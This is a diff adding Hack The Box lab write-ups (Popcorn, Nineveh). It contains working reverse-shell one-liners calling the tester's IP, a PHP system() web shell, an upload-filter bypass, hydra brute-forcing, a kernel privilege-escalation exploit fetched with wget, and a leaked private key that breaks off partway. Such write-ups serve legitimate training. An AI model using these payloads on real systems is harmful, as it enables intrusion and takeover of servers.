[nihilist/_HTB/Popcorn] + → echo '10.10.10.6 popcorn.htb' >> /etc/hosts + + + +## **Part 2 : Getting User Access** + +Port 80 is opened, let's dirsearch it + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → dirsearch -u http://popcorn.htb -t 50 -e php,html,txt,js -x 403 + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u <****url> -e <****php,txt,html,js> -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, html, txt, js | HTTP method: get | Threads: 50 | Wordlist size: 7126 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-20_11-35-28.log + + Target: http://popcorn.htb + + [11:35:28] Starting: + [11:35:47] 200 - 177B - /index + [11:35:47] 200 - 177B - /index.md + [11:35:56] 200 - 48KB - /test + [11:35:56] 200 - 48KB - /test/ + [11:35:56] 200 - 48KB - /test.php + + Task Completed + +Dirsearch didn't give us much results, so let's use a bigger wordlist instead + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → dirsearch -u http://popcorn.htb -t 50 -e php,html,txt,js -x 403 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, html, txt, js | HTTP method: get | Threads: 50 | Wordlist size: 220521 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-20_11-55-52.log + + Target: http://popcorn.htb + + [11:55:53] Starting: + [11:55:54] 200 - 177B - / + [11:55:58] 200 - 48KB - /test + [11:55:58] 200 - 177B - /index + [11:56:10] 301 - 312B - /torrent -> http://popcorn.htb/torrent/ + [11:56:37] 301 - 311B - /rename -> http://popcorn.htb/rename/ + + +test.php gives off the php information running on the server : + +![](prg/1_001.png) + +/torrent reveals a torrent hoster webpage so let's see what exploits are available for us to use on this service : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → searchsploit torrent hoster + -------------------------------- ------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + -------------------------------- ------------------------------- + Torrent Hoster - Remount Upload | exploits/php/webapps/11746.txt + -------------------------------- ------------------------------- + Shellcodes: No Result + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → locate 11746 + /home/nihilist/Desktop/Tools/hydrus/db/client_files/fb9/b95b541ff079ea281c8f575141a428390189649e6cb9ffc0bd6117467b4f745e.png + /home/nihilist/Desktop/Tools/hydrus/db/client_files/tb9/b95b541ff079ea281c8f575141a428390189649e6cb9ffc0bd6117467b4f745e.thumbnail + /usr/share/exploitdb/exploits/php/webapps/11746.txt + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → cp /usr/share/exploitdb/exploits/php/webapps/11746.txt . + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → cat 11746.txt + + + +Looking at the results, we seem to be able to gain access to the system through a php upload vulnerability. Moving over to the login page : + +![](prg/1_002.png) + +Sending the request by clicking Login, we intercept the request with burpsuite, and copy the request in order to give it to sqlmap. + + + POST /torrent/login.php HTTP/1.1 + Host: 10.10.10.6 + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: http://10.10.10.6/torrent/login.php + Content-Type: application/x-www-form-urlencoded + Content-Length: 29 + DNT: 1 + Connection: close + Cookie: /torrent/=; PHPSESSID=3ce0b9e28bbb1e6b0458748643502d21 + Upgrade-Insecure-Requests: 1 + + username=admin&password;=admin + + +saving it as request : + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → nano request + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → sqlmap -r request --level 5 --risk 3 + ___ + __H__ + ___ ___[)]_____ ___ ___ {1.4.2#stable} + |_ -| . [.] | .'| . | + |___|_ [']_|_|_|__,| _| + |_|V... |_| http://sqlmap.org + + [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program + + [*] starting @ 12:12:10 /2020-02-20/ + + [12:12:10] [INFO] parsing HTTP request from 'request' + [12:12:11] [WARNING] provided value for parameter '/torrent/' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly + [12:12:11] [INFO] testing connection to the target URL + [12:12:11] [INFO] checking if the target is protected by some kind of WAF/IPS + [12:12:12] [INFO] testing if the target URL content is stable + [12:12:12] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' + how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] + [12:12:36] [INFO] testing if POST parameter 'username' is dynamic + [12:12:37] [WARNING] POST parameter 'username' does not appear to be dynamic + [12:12:37] [INFO] heuristic (basic) test shows that POST parameter 'username' might be injectable (possible DBMS: 'MySQL') + [12:12:37] [INFO] heuristic (XSS) test shows that POST parameter 'username' might be vulnerable to cross-site scripting (XSS) attacks + [12:12:37] [INFO] testing for SQL injection on POST parameter 'username' + it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y + [12:12:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' + [12:12:46] [WARNING] reflective value(s) found and filtering out + got a 302 redirect to 'http://10.10.10.6/torrent'. Do you want to follow? [Y/n] y + redirect is a result of a POST request. Do you want to resend original POST data to a new location? [y/N] y + + +As sqlmap takes some time to run, let's head over to the signup page and try to create an account + +![](prg/1_003.png) + +heading over to the uploading page we'll submit some random torrent file : + +![](prg/1_004.png)![](prg/1_005.png) + +and we have been able to upload it ! Moving over to /torrent/upload we seem to have access to uploaded images : + +![](prg/1_006.png) + +let's change the screenshot to a reverse php png shell : + + + <****?php + exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.11/1234 0>&1'"); + ?****> + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → nano nihilist.php + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → file nihilist.php + nihilist.php: PHP script, ASCII text + + + +as you can see it will be considered as a php script, so that's why we will use burpsuite to intercept our request, and change it before sending it. + +![](prg/1_007.png) ![](prg/1_008.png) + +Let's see if we can bypass the website filetype checks by changing the aforementionned content type header + +![](prg/1_009.png) + +Here we can see that we successfully submitted a PHP file with an image/png request , now let's see if we can browse to it, and catch the incoming reverse shell connection : + +![](prg/1_010.png) _Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → curl -sk http://10.10.10.6/torrent/upload/20bcfc1a2b444bd933eb2d80daa7e2f20d272afe.php + + +` _Terminal 2:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → nc -lvnp 1234 + listening on [any] 1234 ... + ls + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.6] 43530 + bash: no job control in this shell + www-data@popcorn:/var/www/torrent/upload$ ls + 20bcfc1a2b444bd933eb2d80daa7e2f20d272afe.php + 20bcfc1a2b444bd933eb2d80daa7e2f20d272afe.png + 723bc28f9b6f924cca68ccdff96b6190566ca6b4.png + noss.png + www-data@popcorn:/var/www/torrent/upload$ whoami + whoami + www-data + www-data@popcorn:/var/www/torrent/upload$ uname -a + uname -a + Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux + + +And that's it ! we have a reverse shell as www-data + + + www-data@popcorn:/var/www/torrent/upload$ cd /home + cd /home + www-data@popcorn:/home$ ls + ls + george + www-data@popcorn:/home$ cd george + cd george + www-data@popcorn:/home/george$ cat user.txt + cat user.txt + 5eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the user flag. + +## **Part 3 : Getting Root Access** + +Once we are in the /home/george directory, we first list what files are available for us to use so that we can somehow privesc : + + + www-data@popcorn:/tmp$ uname -a + uname -a + Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux + + +the uname -a command reveals us an outdated kernel version, a quick searchsploit command reveals us that we could use a privilege escalation exploit written in c : + +_Terminal 1:_ + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → searchsploit kernel 2.6.37 + ----------------------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ----------------------------------------------------------------------------- ---------------------------------------- + Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04) - 'Full-Nelson.c' Local Privileg | exploits/linux/local/15704.c + Linux Kernel 2.6.37 - 'setup_arg_pages()' Denial of Service | exploits/linux/dos/15619.c + Linux Kernel 2.6.37 - Local Kernel Denial of Service (1) | exploits/linux/dos/16263.c + Linux Kernel 2.6.37 - Unix Sockets Local Denial of Service | exploits/linux/dos/15622.c + Linux Kernel 2.6.37-rc1 - 'serial_multiport_struct' Local Information Leak | exploits/linux/local/18080.c + Linux Kernel < 2.6.37-rc2 - 'ACPI custom_method' Local Privilege Escalation | exploits/linux/local/15774.c + Linux Kernel < 2.6.37-rc2 - 'TCP_MAXSEG' Kernel Panic (Denial of Service) (2 | exploits/linux/dos/16952.c + ----------------------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → locate 15704.c + /usr/share/exploitdb/exploits/linux/local/15704.c + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → cp /usr/share/exploitdb/exploits/linux/local/15704.c . + + + λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Popcorn] + → python -m SimpleHTTPServer 7070 + Serving HTTP on 0.0.0.0 port 7070 ... + + +` _Terminal 2:_ + + + + www-data@popcorn:/home/george$ which wget + which wget + /usr/bin/wget + www-data@popcorn:/home/george$ which curl + which curl + + +Seems like we have both wget and curl to download our exploit from, let's use wget : + + + www-data@popcorn:/tmp$ wget http://10.10.14.11:7070/15704.c + wget http://10.10.14.11:7070/15704.c + --2020-02-20 15:16:59-- http://10.10.14.11:7070/15704.c + Connecting to 10.10.14.11:7070... connected. + HTTP request sent, awaiting response... 200 OK + Length: 9487 (9.3K) [text/plain] + Saving to: `15704.c' + + 100%[======================================>] 9,487 --.-K/s in 0.1s + + 2020-02-20 15:17:00 (90.6 KB/s) - `15704.c' saved [9487/9487] + + +once we have downloaded our .c exploit, we need to compile it using gcc, add the execution right using chmod +x and executing the executable produced using ./ + + + www-data@popcorn:/tmp$ gcc 15704.c -o nihilist.privesc + gcc 15704.c -o nihilist.privesc + www-data@popcorn:/tmp$ chmod +x nihilist.privesc + chmod +x nihilist.privesc + www-data@popcorn:/tmp$ ./nihilist.privesc + ./nihilist.privesc + [*] Resolving kernel addresses... + [+] Resolved econet_ioctl to 0xf83d4280 + [+] Resolved econet_ops to 0xf83d4360 + [+] Resolved commit_creds to 0xc01645d0 + [+] Resolved prepare_kernel_cred to 0xc01647d0 + [*] Calculating target... + [*] Triggering payload... + [*] Got root! + # cat /root/root.txt + cat /root/root.txt + f1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + +And that's it ! we have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/1_graph.png) + diff --git a/Medium/10.md b/Medium/10.md new file mode 100644 index 0000000..9c1dc12 --- /dev/null +++ b/Medium/10.md @@ -0,0 +1,629 @@ +# Nineveh Writeup + +![](img/10.png) + +## Introduction : + +Nineveh is a medium linux box released back in August 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + λ nihilist [ 10.10.14.20/23 ] [~] + → nmap -F 10.10.10.43 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 11:30 GMT + Nmap scan report for 10.10.10.43 + Host is up (0.098s latency). + Not shown: 98 filtered ports + PORT STATE SERVICE + 80/tcp open http + 443/tcp open https + + Nmap done: 1 IP address (1 host up) scanned in 3.37 seconds + + λ nihilist [ 10.10.14.20/23 ] [~] + → nmap -sCV -p80,443 10.10.10.43 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-25 11:31 GMT + Nmap scan report for 10.10.10.43 + Host is up (0.095s latency). + + PORT STATE SERVICE VERSION + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Site doesn't have a title (text/html). + 443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Site doesn't have a title (text/html). + | ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR + | Not valid before: 2017-07-01T15:03:30 + |_Not valid after: 2018-07-01T15:03:30 + |_ssl-date: TLS randomness does not represent time + | tls-alpn: + |_ http/1.1 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 20.26 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80 running http , let's dirsearch it : + + + λ nihilist [ 10.10.14.20/23 ] [~] + → dirsearch -u http://10.10.10.43/ -e php,txt,html -t 50 -r + git clone https://github.com/maurosoria/dirsearch.git + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 6733 | Recursion level: 1 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-25_11-33-44.log + + Target: http://10.10.10.43/ + + [11:33:45] Starting: + [11:33:47] 403 - 297B - /.ht_wsr.txt + [11:33:47] 403 - 290B - /.hta + [11:33:47] 403 - 299B - /.htaccess-dev + [11:33:47] 403 - 301B - /.htaccess-local + [11:33:47] 403 - 301B - /.htaccess-marco + [11:33:47] 403 - 299B - /.htaccess.BAK + [11:33:47] 403 - 300B - /.htaccess.bak1 + [11:33:47] 403 - 299B - /.htaccess.old + [11:33:47] 403 - 300B - /.htaccess.orig + [11:33:47] 403 - 300B - /.htaccess.save + [11:33:47] 403 - 302B - /.htaccess.sample + [11:33:47] 403 - 299B - /.htaccess.txt + [11:33:47] 403 - 301B - /.htaccess_extra + [11:33:47] 403 - 300B - /.htaccess_orig + [11:33:47] 403 - 298B - /.htaccess_sc + [11:33:47] 403 - 298B - /.htaccessBAK + [11:33:47] 403 - 298B - /.htaccessOLD + [11:33:47] 403 - 299B - /.htaccessOLD2 + [11:33:47] 403 - 296B - /.htaccess~ + [11:33:47] 403 - 294B - /.htgroup + [11:33:47] 403 - 299B - /.htpasswd-old + [11:33:47] 403 - 300B - /.htpasswd_test + [11:33:47] 403 - 296B - /.htpasswds + [11:33:47] 403 - 294B - /.htusers + [11:34:02] 200 - 178B - /index.md + [11:34:02] 200 - 83KB - /info.php + + +Our dirsearch found the info.php webpage : + +![](prg/10_001.png) + +So now we know the box is running php version 7.0.18 on apache2.0. Before our nmap scan picked up the domain name nineveh.htb so let's add it to our /etc/hosts file. + +![](prg/10_002.png) + +Let's not forget that we picked up port 443 running https earlier, so let's see what we can find there : + +![](prg/10_003.png) + +And we get something different ! Now let's enumerate what we can find on this using dirsearch once again : + + + λ nihilist [ 10.10.14.20/23 ] [~] + → dirsearch -u https://nineveh.htb/ -t 50 -x 403 -r -e php,html,txt + git clone https://github.com/maurosoria/dirsearch.git + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, html, txt | HTTP method: get | Threads: 50 | Wordlist size: 6733 | Recursion level: 1 + + Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-25_12-05-15.log + + Target: https://nineveh.htb/ + + [12:05:15] Starting: + [12:05:34] 301 - 309B - /db -> https://nineveh.htb/db/ + [12:05:34] 200 - 11KB - /db/ + [12:05:38] 200 - 49B - /index.md + [12:05:50] Starting: db/ + [12:06:09] 200 - 11KB - /db/index.php + [12:06:09] 200 - 11KB - /db/index.php/login/ + + Task Completed + + +And we get something else interesting ! let's check out /db : + +![](prg/10_004.png) + +And we seem to get a phpLiteAdmin v1.9 login page with the following intercepted request : + +![](prg/10_005.png) + +Let's see if we can enumerate port 80 a little further using the domain name nineveh.htb, but this time using gobuster : + + + λ nihilist [ 10.10.14.20/23 ] [~] + → gobuster dir --url http://nineveh.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + =============================================================== + Gobuster v3.0.1 + by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) + =============================================================== + [+] Url: http://nineveh.htb/ + [+] Threads: 10 + [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt + [+] Status codes: 200,204,301,302,307,401,403 + [+] User Agent: gobuster/3.0.1 + [+] Timeout: 10s + =============================================================== + 2020/02/25 12:55:13 Starting gobuster + =============================================================== + /department (Status: 301) + + +And we found the /department directory which redirects us to a login page which has a preety straightforward login request : + +![](prg/10_006.png) + +Now for this next part let's use hydra to try and bruteforce the admin user password using rockyou.txt : + + + λ nihilist [ 10.10.14.20/23 ] [~] + → hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.43 -V -f http-post-form '/department/login.php:username=^USER^&password;=^PASS^:invalid password' + Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. + + Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-25 13:06:02 + [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task + [DATA] attacking http-post-form://10.10.10.43:80/department/login.php:username=^USER^&password;=^PASS^:invalid password + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0) + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "12345" - 2 of 14344399 [child 1] (0/0) + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "123456789" - 3 of 14344399 [child 2] (0/0) + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "password" - 4 of 14344399 [child 3] (0/0) + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0) + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "princess" - 6 of 14344399 [child 5] (0/0) + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "1234567" - 7 of 14344399 [child 6] (0/0) + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "rockyou" - 8 of 14344399 [child 7] (0/0) + + [...] + + [STATUS] 1523.00 tries/min, 4569 tries in 00:03h, 14339830 to do in 156:56h, 16 active + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "lissette" - 4570 of 14344399 [child 12] (0/0) + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "jamila" - 4571 of 14344399 [child 10] (0/0) + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "hotmail1" - 4572 of 14344399 [child 6] (0/0) + [ATTEMPT] target 10.10.10.43 - login "admin" - pass "hoover" - 4573 of 14344399 [child 1] (0/0) + [80][http-post-form] host: 10.10.10.43 login: admin password: 1q2w3e4r5t + [STATUS] attack finished for 10.10.10.43 (valid pair found) + 1 of 1 target successfully completed, 1 valid password found + Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-25 13:09:05 + + +and we have credentials ! **admin:1q2w3e4r5t** , once logged in : + +![](prg/10_007.png) + +Although sadly there doesn't seem to be much more to see here apart from the visible LFI when browsing to the url **http://nineveh.htb/department/manage.php?notes=/path/to/file**. let's try and go back to our previous https://nineveh.htb/db/ phpLiteAdmin login page by hydra the same way we previously did : + + + POST /db/index.php HTTP/1.1 + Host: nineveh.htb + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Referer: https://nineveh.htb/db/ + Content-Type: application/x-www-form-urlencoded + Content-Length: 55 + DNT: 1 + Connection: close + Cookie: PHPSESSID=cer8n35tvn02re6go6j6tbm391 + Upgrade-Insecure-Requests: 1 + + password=nihilist&remember;=yes&login;=Log+In&proc;_login=true + + +So that's our login request that we interecepted with burpsuite , now let's use the appropriate hydra command : + + + λ nihilist [ 10.10.14.20/23 ] [~] + → hydra -l admin -P /usr/share/wordlists/rockyou.txt nineveh.htb -V -f https-post-form '/db/index.php:password=^PASS^&remember;=yes&logn;=Log+In&proc;_login=true:Incorrect password' + Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. + + Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-25 13:32:40 + [DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task + [DATA] attacking http-post-forms://nineveh.htb:443/db/index.php:password=^PASS^&remember;=yes&logn;=Log+In&proc;_login=true:Incorrect password + [ATTEMPT] target nineveh.htb - login "admin" - pass "123456" - 1 of 14344399 [child 0] (0/0) + [ATTEMPT] target nineveh.htb - login "admin" - pass "12345" - 2 of 14344399 [child 1] (0/0) + [ATTEMPT] target nineveh.htb - login "admin" - pass "123456789" - 3 of 14344399 [child 2] (0/0) + [ATTEMPT] target nineveh.htb - login "admin" - pass "password" - 4 of 14344399 [child 3] (0/0) + [ATTEMPT] target nineveh.htb - login "admin" - pass "iloveyou" - 5 of 14344399 [child 4] (0/0) + [ATTEMPT] target nineveh.htb - login "admin" - pass "princess" - 6 of 14344399 [child 5] (0/0) + [ATTEMPT] target nineveh.htb - login "admin" - pass "1234567" - 7 of 14344399 [child 6] (0/0) + [ATTEMPT] target nineveh.htb - login "admin" - pass "rockyou" - 8 of 14344399 [child 7] (0/0) + [ATTEMPT] target nineveh.htb - login "admin" - pass "12345678" - 9 of 14344399 [child 8] (0/0) + + [...] + + [ATTEMPT] target nineveh.htb - login "admin" - pass "juventus" - 1397 of 14344399 [child 11] (0/0) + [ATTEMPT] target nineveh.htb - login "admin" - pass "mahalkoh" - 1398 of 14344399 [child 7] (0/0) + ^[[B[ATTEMPT] target nineveh.htb - login "admin" - pass "esteban" - 1399 of 14344399 [child 6] (0/0) + [ATTEMPT] target nineveh.htb - login "admin" - pass "mookie" - 1400 of 14344399 [child 5] (0/0) + [ATTEMPT] target nineveh.htb - login "admin" - pass "fresita" - 1401 of 14344399 [child 12] (0/0) + [443][http-post-form] host: nineveh.htb login: admin password: password123 + [STATUS] attack finished for nineveh.htb (valid pair found) + 1 of 1 target successfully completed, 1 valid password found + Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-25 13:34:19 + + +And we have it ! we have our credentials **password123** , now once we are logged in we are greeted with a dashboard : + +![](prg/10_008.png) + +Now let's run a searchsploit command to see if we have any public exploits for us to use : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → searchsploit phpliteadmin + ---------------------------------------------------------------- ---------------------------------------- + Exploit Title | Path + | (/usr/share/exploitdb/) + ---------------------------------------------------------------- ---------------------------------------- + PHPLiteAdmin 1.9.3 - Remote PHP Code Injection | exploits/php/webapps/24044.txt + phpLiteAdmin - 'table' SQL Injection | exploits/php/webapps/38228.txt + phpLiteAdmin 1.1 - Multiple Vulnerabilities | exploits/php/webapps/37515.txt + phpLiteAdmin 1.9.6 - Multiple Vulnerabilities | exploits/php/webapps/39714.txt + ---------------------------------------------------------------- ---------------------------------------- + Shellcodes: No Result + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → locate 24044.txt + /usr/share/exploitdb/exploits/php/webapps/24044.txt + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → cp /usr/share/exploitdb/exploits/php/webapps/24044.txt . + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → nano 24044.txt + + +looking at the exploit 24044 we see that once logged in, we should be able to create a database with the .php extension, and within said table we can inject a command execution payload : + +![](prg/10_009.png) + +You need to be aware though that the page we had before on **http://nineveh.htb/department/management.php** refers to a note named ninevehNotes.txt so if you decide to use another name for your malicious database, **it will not work as intended**. Once we're done naming the database correctly we create **a table** containing our **php RCE** content in the field, choosing **TEXT** as the type : + + + <****?php echo system($_REQUEST["cmd"]); ?****> + +` ![](prg/10_010.png) + +and hitting "create" we see that we have successfully created the table we intended : + + + Table 'nihilist.php' has been created. + CREATE TABLE 'nihilist.php' ('<****?php echo system($_REQUEST["cmd"]); ?****>' TEXT) + +Once we're done here let's return to our previous url http://nineveh.htb/department/manage.php and this time trying to access our nihilist.php using the following URL : + + + http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd;=uname -a;which nc + + +` ![](prg/10_011.png) + +And we get remote code execution ! now let's try a reverse shell one liner connecting back to our port 9001 (which we have ready to listen with a nc -lvnp command.) but to do so, we first need to url encode our reverse shell one liner : + + + rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.20 9001 >/tmp/f + rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.20+9001+>/tmp/f + + +once url encoded we have the following url to browse to : + + + http://nineveh.htb/department/manage.php?notes=/var/tmp/ninevehNotes.php&cmd;=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.20+9001+>/tmp/f + + +` ![](prg/10_012.png) + +and we get a reverse shell ! let's try to print out the user flag : + + + $ cd /home + $ ls + amrois + $ cd amrois + $ ls + user.txt + $ cat user.txt + cat: user.txt: Permission denied + + +although as you can see, we do not have enough permissions to print out the user flag. so in order to do so we need to take a look at /var/www/ssl/secure_notes + + + $ cd /var/www/ssl/secure_notes + $ ls + index.html + nineveh.png + + +browsing to this nineveh.png image, we are greeted with a 1497x746 png image : + +![](prg/10_013.png) + +Let's first download it and run strings on it, to see if we can extract any useful hidden information : + + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → file nineveh.png + nineveh.png: PNG image data, 1497 x 746, 8-bit/color RGB, non-interlaced + + λ nihilist [ 10.10.14.20/23 ] [~/_HTB/nineveh] + → strings nineveh.png + + +running the strings command we successfully revealled both a private and a public ssh key : + + + 13126045656 + 014730 + ustar + www-data + www-data + **-----BEGIN RSA PRIVATE KEY----- + MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI + H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU + PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5 + FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI + 3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT + X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn + KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk + FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z + GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR + JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo + 9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu + Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb + ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl + 1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b + vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx + DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89 + P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC + fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i + tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC + iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1 + MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh + PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse + 